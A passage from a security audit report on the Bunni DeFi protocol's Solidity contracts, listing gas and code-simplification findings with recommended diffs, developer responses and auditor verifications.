            (data.user, data.poolKey, data.msgValue, data.rawAmount0, data.rawAmount1);

        PoolId poolId = key.toId();
        uint256 paid0;
        uint256 paid1;
        if (rawAmount0 != 0) {
            poolManager.sync(key.currency0);

            // transfer tokens to poolManager
            if (key.currency0.isAddressZero()) {
                if (msgValue < rawAmount0) revert BunniHub__MsgValueInsufficient();
                paid0 = poolManager.settle{value: rawAmount0}();
            } else {
                Currency.unwrap(key.currency0).excessivelySafeTransferFrom2(msgSender,
                ↪  address(poolManager), rawAmount0);
                paid0 = poolManager.settle();
            }

            poolManager.mint(address(this), key.currency0.toId(), paid0);
            s.poolState[poolId].rawBalance0 += paid0;
        }
        if (rawAmount1 != 0) {
            poolManager.sync(key.currency1);

            // transfer tokens to poolManager
--          if (key.currency1.isAddressZero()) {
--              if (msgValue < rawAmount1) revert BunniHub__MsgValueInsufficient();
--              paid1 = poolManager.settle{value: rawAmount1}();
--          } else {
                Currency.unwrap(key.currency1).excessivelySafeTransferFrom2(msgSender,
                ↪  address(poolManager), rawAmount1);
                paid1 = poolManager.settle();
--          }

            poolManager.mint(address(this), key.currency1.toId(), paid1);
            s.poolState[poolId].rawBalance1 += paid1;
        }
        return abi.encode(paid0, paid1);
    }
```

*`BunniHubLogic.sol`:

```
    function deposit(HubStorage storage s, Env calldata env, IBunniHub.DepositParams calldata params)
        external
        returns (uint256 shares, uint256 amount0, uint256 amount1)
    {
        address msgSender = LibMulticaller.senderOrSigner();
        PoolId poolId = params.poolKey.toId();
        PoolState memory state = getPoolState(s, poolId);

        /// -----------------------------------------------------------------------
        /// Validation
        /// -----------------------------------------------------------------------

--      if (msg.value != 0 && !params.poolKey.currency0.isAddressZero() &&
↪   !params.poolKey.currency1.isAddressZero()) {
++      if (msg.value != 0 && !params.poolKey.currency0.isAddressZero()) {
            revert BunniHub__MsgValueNotZeroWhenPoolKeyHasNoNativeToken();
        }
        ...

        // refund excess ETH
        if (params.poolKey.currency0.isAddressZero()) {
            if (address(this).balance != 0) {
                params.refundRecipient.safeTransferETH(
                    FixedPointMathLib.min(address(this).balance, msg.value - amount0Spent)
                );
            }
--      } else if (params.poolKey.currency1.isAddressZero()) {
--          if (address(this).balance != 0) {
--              params.refundRecipient.safeTransferETH(
--                  FixedPointMathLib.min(address(this).balance, msg.value - amount1Spent)
--              );
--          }
        }

        ...
    }
```

Bacon Labs: Fixed in PR #114.

Cyfrin: Verified, branches corresponding to `key.currency1.isAddressZero()` have been removed.

7.6.2 Unnecessary stack variable can be removed

Description: When returning whether am-AMM is enabled, `BunniHook::_amAmmEnabled` uses a stack variable when it is not necessary and the boolean can instead be returned directly. If better readability is required, the assignment could be made to a named return variable instead.

Recommended Mitigation:

```
    function _amAmmEnabled(PoolId id) internal view virtual override returns (bool) {
        bytes memory hookParams = hub.hookParams(id);
        bytes32 firstWord;
        /// @solidity memory-safe-assembly
        assembly {
            firstWord := mload(add(hookParams, 32))
        }
--      bool poolEnabled = uint8(bytes1(firstWord << 248)) != 0;
--      return poolEnabled;
++      return uint8(bytes1(firstWord << 248)) != 0;
    }
```

or

```
--  function _amAmmEnabled(PoolId id) internal view virtual override returns (bool) {
++  function _amAmmEnabled(PoolId id) internal view virtual override returns (bool poolEnabled) {
        bytes memory hookParams = hub.hookParams(id);
        bytes32 firstWord;
        /// @solidity memory-safe-assembly
        assembly {
            firstWord := mload(add(hookParams, 32))
        }
--      bool poolEnabled = uint8(bytes1(firstWord << 248)) != 0;
--      return poolEnabled;
++      poolEnabled = uint8(bytes1(firstWord << 248)) != 0;
    }
```

Bacon Labs: Fixed in PR #115.

Cyfrin: Verified, the `BunniHook::_amAmmEnabled` boolean is now returned directly.

7.6.3 Superfluous conditional branches can be combined

Description: `BunniHubLogic::queueWithdraw` makes use of comments to demarcate logic into separate sections. When performing state updates, a new queued withdrawal is created when there is no existing queued share amount given by the `else` branch of the conditional logic shown below:

```
function queueWithdraw(HubStorage storage s, IBunniHub.QueueWithdrawParams calldata params) external {
    ...
    if (queued.shareAmount != 0) {
        ...
    } else {
        // create new queued withdrawal
        if (params.shares == 0) revert BunniHub__ZeroInput();
        s.queuedWithdrawals[id][msgSender] =
            QueuedWithdrawal({shareAmount: params.shares, unlockTimestamp: newUnlockTimestamp});
    }

    /// -----------------------------------------------------------------------
    /// External calls
    /// -----------------------------------------------------------------------

    if (queued.shareAmount == 0) {
        // transfer shares from msgSender to address(this)
        bunniToken.transferFrom(msgSender, address(this), params.shares);
    }

    emit IBunniHub.QueueWithdraw(msgSender, id, params.shares);
}
```

While the separate external call section makes the code more readable, this transfer could be executed within the aforementioned `else` block to avoid unnecessary execution of an additional conditional.

Recommended Mitigation:

```
    } else {
        // create new queued withdrawal
        if (params.shares == 0) revert BunniHub__ZeroInput();
        s.queuedWithdrawals[id][msgSender] =
            QueuedWithdrawal({shareAmount: params.shares, unlockTimestamp: newUnlockTimestamp});
++      // transfer shares from msgSender to address(this)
++      bunniToken.transferFrom(msgSender, address(this), params.shares);
    }

    /// -----------------------------------------------------------------------
    /// External calls
    /// -----------------------------------------------------------------------

--  if (queued.shareAmount == 0) {
--      // transfer shares from msgSender to address(this)
--        bunniToken.transferFrom(msgSender, address(this), params.shares);
--    }
```

Bacon Labs: Fixed in PR #116.

Cyfrin: Verified, `BunniHubLogic::queueWithdraw` has been simplified to include the Bunni token transfer within the new queued withdrawal conditional branch.

7.6.4 am-AMM fee validation can be simplified

Description: When charging the swap fee, `BunniHookLogic::beforeSwap` checks whether the am-AMM fee should be used by validating whether it is enabled and whether there is an active top bid:

```
        // update am-AMM state
        uint24 amAmmSwapFee;
@>      if (hookParams.amAmmEnabled) {
            bytes6 payload;
            IAmAmm.Bid memory topBid = IAmAmm(address(this)).getTopBidWrite(id);
            (amAmmManager, payload) = (topBid.manager, topBid.payload);
            (uint24 swapFee0For1, uint24 swapFee1For0) = decodeAmAmmPayload(payload);
            amAmmSwapFee = params.zeroForOne ? swapFee0For1 : swapFee1For0;
        }

        // charge swap fee
        // precedence:
        // 1) am-AMM fee
        // 2) hooklet override fee
        // 3) dynamic fee
        (Currency inputToken, Currency outputToken) =
            params.zeroForOne ? (key.currency0, key.currency1) : (key.currency1, key.currency0);
        uint24 swapFee;
        uint256 swapFeeAmount;
@>      useAmAmmFee = hookParams.amAmmEnabled && amAmmManager != address(0);
```

Given that `amAmmManager` is a named return value that is not assigned anywhere else except within the conditional block triggered when am-AMM is enabled, the `useAmAmmFee` assignment can be simplified to checking only that `amAmmManager` is assigned a non-zero address.

Recommended Mitigation:

```
        // update am-AMM state
        uint24 amAmmSwapFee;
        if (hookParams.amAmmEnabled) {
            bytes6 payload;
            IAmAmm.Bid memory topBid = IAmAmm(address(this)).getTopBidWrite(id);
            (amAmmManager, payload) = (topBid.manager, topBid.payload);
            (uint24 swapFee0For1, uint24 swapFee1For0) = decodeAmAmmPayload(payload);
            amAmmSwapFee = params.zeroForOne ? swapFee0For1 : swapFee1For0;
        }

        // charge swap fee
        // precedence:
        // 1) am-AMM fee
        // 2) hooklet override fee
        // 3) dynamic fee
        (Currency inputToken, Currency outputToken) =
            params.zeroForOne ? (key.currency0, key.currency1) : (key.currency1, key.currency0);
        uint24 swapFee;
        uint256 swapFeeAmount;
--      useAmAmmFee = hookParams.amAmmEnabled && amAmmManager != address(0);
++      useAmAmmFee = amAmmManager != address(0);
```

Bacon Labs: Acknowledged. When we tried simplifying `useAmAmmFee` as suggested the gas cost of swaps actually went up by ~50 gas. We do not know why (probably solc optimizer weirdness) but will leave it as is.

Cyfrin: Acknowledged.

7.6.5 Unnecessary conditions can be removed from `LibUniformDistribution` conditionals

Description: `LibUniformDistribution::inverseCumulativeAmount0` short circuits if the specified `cumulativeAmount0_` is zero, meaning that the value of this variable is guaranteed to be non-zero in subsequent execution as it is nowhere modified:

```
function inverseCumulativeAmount0(
    uint256 cumulativeAmount0_,
    uint256 totalLiquidity,
    int24 tickSpacing,
    int24 tickLower,
    int24 tickUpper,
    bool isCarpet
) internal pure returns (bool success, int24 roundedTick) {
    // short circuit if cumulativeAmount0_ is 0
    if (cumulativeAmount0_ == 0) return (true, tickUpper);

    ...

    // ensure that roundedTick is not tickUpper when cumulativeAmount0_ is non-zero
    // this can happen if the corresponding cumulative density is too small
    if (roundedTick == tickUpper && cumulativeAmount0_ != 0) {
        return (true, tickUpper - tickSpacing);
    }
}
```

The second condition in the final `if` statement can therefore be removed as this is handled by short-circuit. A similar case exists in `LibUniformDistribution::inverseCumulativeAmount1`.

Recommended Mitigation: * `LibUniformDistribution::inverseCumulativeAmount0`:

```
    function inverseCumulativeAmount0(
        uint256 cumulativeAmount0_,
        uint256 totalLiquidity,
        int24 tickSpacing,
        int24 tickLower,
        int24 tickUpper,
        bool isCarpet
    ) internal pure returns (bool success, int24 roundedTick) {
        // short circuit if cumulativeAmount0_ is 0
        if (cumulativeAmount0_ == 0) return (true, tickUpper);

        ...

        // ensure that roundedTick is not tickUpper when cumulativeAmount0_ is non-zero
        // this can happen if the corresponding cumulative density is too small
--      if (roundedTick == tickUpper && cumulativeAmount0_ != 0) {
++      if (roundedTick == tickUpper) {
            return (true, tickUpper - tickSpacing);
        }
    }
```

- `LibUniformDistribution::inverseCumulativeAmount1`:

```
    function inverseCumulativeAmount1(
        uint256 cumulativeAmount1_,
        uint256 totalLiquidity,
            int24 tickSpacing,
            int24 tickLower,
            int24 tickUpper,
            bool isCarpet
        ) internal pure returns (bool success, int24 roundedTick) {
            // short circuit if cumulativeAmount1_ is 0
            if (cumulativeAmount1_ == 0) return (true, tickLower - tickSpacing);

            ...

            // ensure that roundedTick is not (tickLower - tickSpacing) when cumulativeAmount1_ is non-zero
                ↪  and rounding up
            // this can happen if the corresponding cumulative density is too small
    --      if (roundedTick == tickLower - tickSpacing && cumulativeAmount1_ != 0) {
    ++      if (roundedTick == tickLower - tickSpacing) {
                return (true, tickLower);
            }
        }
```

Bacon Labs: Fixed in PR #117.

Cyfrin: Verified, the short-circuiting logic has been improved in the carpeted LDFs and the unnecessary validation has been removed from `LibUniformDistribution and LibGeometricDistribution`.